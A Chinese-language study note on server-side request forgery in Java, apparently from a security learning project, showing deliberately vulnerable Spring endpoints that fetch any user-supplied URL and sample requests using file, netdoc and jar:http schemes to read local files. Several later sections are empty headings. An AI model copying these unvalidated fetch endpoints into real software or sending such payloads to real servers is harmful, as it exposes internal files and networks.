文章目录

  • 1. 问题描述
  • 2. 问题场景
    • 2.1 函数详解
      • 2.1.1 URL
      • 2.1.2 URLConnection
      • 2.1.3 HttpURLConnection
    • 2.2 可能存在漏洞的点
      • 2.2.1 HttpURLConnection
      • 2.2.2 URLConnection
        • 2.2.2.1 使用 file 协议
        • 2.2.2.2 使用 netdoc 协议
        • 2.2.2.3 使用 jar 协议
        • 2.2.2.4 jar+http
      • 2.2.3 ImageIO
      • 2.2.4 HttpClients
      • 2.2.5 OkHttpClient

1. 问题描述

SSRF(Server-Side Request Forgery): 服务端请求伪造, 是一个利用服务端探测内网服务资源的漏洞,用一个最简单的例子来理解这个漏洞:比如一个添加图文的功能,填入标题内容和封面图然后提交在网站前台显示,对于这个功能的图片它除了可以让你上传以外,还支持填入远程图片地址,如果你填入了远程的图片地址,则该网站会加载远程图过来进行显示,而如果程序写法不严谨或者过滤不严格,则加载图片地址的这个功能可能就可以包含进行一些恶意的脚本文件,或者你输入内网的 ip 或者一些系统的文件都会被解析执行

而一般我们是无法请求到系统上的文件的,内网的 ip 我们也是无法访问的,有了 SSRF 后,我们提交的加载连接是有服务器进行加载解析,实际上相当于我们以存在 SSRF 这个服务器为跳板进行的一些加载操作,我们在附一张图加深理解

我们知道了 SSRF 的原理后,自然就能想到其危害点有哪些

  • 加载外部的恶意木马文件执行
  • 加载内部的敏感文件程序自身的敏感文件
  • 来访问内网进行内网端口的扫描、获取内网设备信息、枚举内网服务等

2. 问题场景

SSRF一般在一些请求url资源的时候会遇到,如?url=https://ip:prot/xxx.jpg请求别的站点的静态资源之类的

在 java中(高版本jdk)仅支持如下协议

  • file
  • ftp
  • mailto
  • http
  • https
  • jar
  • netdoc

2.1 函数详解

2.1.1 URL

// 构造方法, 生成一个 URL 对象
new URL(String url)

// 返回一个 URLConnection 实例, 表示与 URL 引用的远程对象的 URL
// 每次当调用此 URL 的协议处理程序的 URLStreamHandler.openConnection(URL) 方法时, 都会创建一个新的 URLConnection 实例
public URLConnection openConnection() throws IOException

应该注意的是,URLConnection 实例不会在创建时建立实际的网络连接, 这只会在调用 URLConnection.connect() 时发生

2.1.2 URLConnection

// 构造与指定 URL 的 URL 连接
protected  URLConnection(URL url)

2.1.3 HttpURLConnection

与URLConnection的区别

  • URLConnection 支持HTTP/邮件/文件传输协议
  • HttpURLConnection 只支持 HTTP 协议, 通过 http 协议去做一些探测内网ip存活/端口探测/打redis(有回显)

2.2 可能存在漏洞的点

  • HttpURLConnection.getInputStream
  • URLConnection.getInputStream
  • Request.Get.execute
  • Request.Post.execute
  • URL.openStream
  • ImageIO.read
  • OkHttpClient.newCall.execute
  • HttpClients.execute

2.2.1 HttpURLConnection

这个类只能用http协议

@GetMapping("httpUrlConnection")
public ResponseVO httpUrlConnection(@RequestParam("url") String url) {
    try {
        // 创建一个连接
        URLConnection urlConnection = new URL(url).openConnection();
        // 强转为 HttpURLConnection
        HttpURLConnection httpURLConnection = (HttpURLConnection) urlConnection;
        // 获取url中的资源
        BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(httpURLConnection.getInputStream(), StandardCharsets.UTF_8));

        StringBuilder stringBuilder = new StringBuilder();
        String data;
        while ((data = bufferedReader.readLine()) != null) {
            stringBuilder.append(data);
        }
        return ResponseVO.success(stringBuilder.toString());
    } catch (IOException e) {
        log.error(ERROR_MSG, url, e);
        return ResponseVO.fail(ResponseCodeEnum.FAIL, ERROR_RESPONSE_MSG);
    }
}

请求地址

GET hhtp://127.0.0.1:8080/ssrf/httpUrlConnection?url=http://ssrf.xxxx.ceye.io

2.2.2 URLConnection

@GetMapping("urlConnection")
public ResponseVO urlConnection(@RequestParam("url") String url, HttpServletResponse response) {
    URLConnection urlConnection = null;
    try {
        urlConnection = new URL(url).openConnection();
    } catch (IOException e) {
        log.error(ERROR_MSG, url, e);
        return ResponseVO.fail(ResponseCodeEnum.FAIL, ERROR_RESPONSE_MSG);
    }

    try (BufferedReader bufferedReader = new BufferedReader(
            new InputStreamReader(urlConnection.getInputStream(), StandardCharsets.UTF_8))) {

        StringBuilder stringBuilder = new StringBuilder();
        String data;
        while ((data = bufferedReader.readLine()) != null) {
            stringBuilder.append(data);
        }
        return ResponseVO.success(stringBuilder.toString());
    } catch (IOException e) {
        log.error(ERROR_MSG, url, e);
        return ResponseVO.fail(ResponseCodeEnum.FAIL, ERROR_RESPONSE_MSG);
    }
}

2.2.2.1 使用 file 协议

GET http://127.0.0.1:8080/ssrf/urlConnection?url=file:///D:\code\idea_workspace\toalibaba\security-study\fortify\src\main\resources\mapper\UserMapper.xml

2.2.2.2 使用 netdoc 协议

GET http://127.0.0.1:8080/ssrf/urlConnection?url=netdoc:///D:\code\idea_workspace\toalibaba\security-study\fortify\src\main\resources\mapper\UserMapper.xml

2.2.2.3 使用 jar 协议

jar 协议语法,jar:{url}!/{entry},url是文件的路径,entry是想要解压出来的文件
当然这里url不仅仅是http协议,也可以是file协议或者netdoc

jar协议处理文件过程

  • 下载 jar/zip 文件到临时文件中
  • 提取出我们指定的文件
  • 删除临时文件

2.2.2.4 jar+http

http://127.0.0.1:8080/ssrf/urlConnection?url=jar:http://127.0.0.1:4444/sql.txt.zip!/sql.txt

2.2.3 ImageIO

2.2.4 HttpClients

2.2.5 OkHttpClient

更多推荐

[20][03][79] Server-Side Request Forgery